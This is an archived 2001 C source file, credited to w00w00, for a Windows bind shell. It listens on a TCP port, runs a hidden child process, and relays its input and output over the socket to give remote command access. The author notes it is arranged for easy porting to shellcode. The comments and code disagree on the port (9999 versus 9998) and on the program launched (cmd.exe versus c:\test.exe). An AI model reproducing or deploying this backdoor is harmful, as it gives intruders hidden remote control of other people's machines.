home *** CD-ROM | disk | FTP | other *** search
- // Copyright (C) 2001, Matt Conover (Shok) & w00w00
- // http://www.w00w00.org
- //
- // Binds cmd.exe to a TCP port (9999 by default)
- // I set this up in a format to make it easier to port to shellcode
-
- #include <stdio.h>
- #include <winsock.h>
-
- #define PORT 9998
- #define BUFSIZE 1024
-
- void main(int argc, char* argv[])
- {
- register int numbytes;
- int socklen;
- char *membuf;
-
- SECURITY_ATTRIBUTES security_attributes;
- STARTUPINFO startup_info;
- HANDLE StdOutputRead, StdOutputWrite, StdInputRead, StdInputWrite;
-
- WSADATA wsaData;
- SOCKET serverfd = INVALID_SOCKET, clientfd = INVALID_SOCKET;
- SOCKADDR_IN serversin, clientsin;
-
- // Socket initialization
- WSAStartup(MAKEWORD(1, 1), &wsaData);
- serverfd = socket(AF_INET, SOCK_STREAM, 0);
-
- memset(&serversin, 0, sizeof(serversin));
- serversin.sin_family = AF_INET;
- serversin.sin_port = htons(PORT);
-
- if (bind(serverfd, (LPSOCKADDR)&serversin, sizeof(serversin)) < 0) goto exit_process;
- listen(serverfd, 0);
-
- // Set handles to inheritable
- security_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
- security_attributes.bInheritHandle = true;
- security_attributes.lpSecurityDescriptor = NULL;
-
- // Setup input and output pipes for shell
- CreatePipe(&StdOutputRead, &StdOutputWrite, &security_attributes, 0);
- CreatePipe(&StdInputRead, &StdInputWrite, &security_attributes, 0);
-
- // Create a child process that will inherit the input and output
- // handles of the pipes and have a hidden window
- GetStartupInfo(&startup_info);
- startup_info.hStdOutput = startup_info.hStdError = StdOutputWrite;
- startup_info.hStdInput = StdInputRead;
- startup_info.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- startup_info.wShowWindow = SW_HIDE;
-
- if (!CreateProcess(NULL, "c:\\test.exe", NULL, NULL, true, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info))
- {
- goto exit_process;
- }
-
- CloseHandle(StdOutputWrite);
- CloseHandle(StdInputRead);
-
- // Wait for an incoming connection
- socklen = sizeof(clientsin);
- clientfd = accept(serverfd, (LPSOCKADDR)&clientsin, &socklen);
-
- // Allocate the memory buffer it will use
- membuf = (char *)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT, BUFSIZE);
-
- cmd_data: // read if there is data from cmd.exe
- if (!PeekNamedPipe(StdOutputRead, NULL, 0, NULL, (DWORD *)&numbytes, 0))
- {
- goto exit_process;
- }
-
- if (numbytes == 0) goto client_data;
-
- if (!ReadFile(StdOutputRead, membuf, BUFSIZE, (DWORD *)&numbytes, NULL))
- {
- goto exit_process;
- }
-
- if (send(clientfd, membuf, numbytes, 0) <= 0) goto exit_process;
- goto client_data;
-
- sleep_and_repeat:
- Sleep(50);
- goto cmd_data;
-
- client_data: // read new user data and send it to cmd.exe
- numbytes = recv(clientfd, membuf, BUFSIZE, 0);
- if (numbytes <= 0) goto exit_process;
-
- if (!WriteFile(StdInputWrite, membuf, numbytes, (DWORD *)&numbytes, NULL))
- {
- goto exit_process;
- }
-
- goto sleep_and_repeat;
-
- exit_process:
- closesocket(clientfd);
- closesocket(serverfd);
- ExitProcess(-1);
- }
-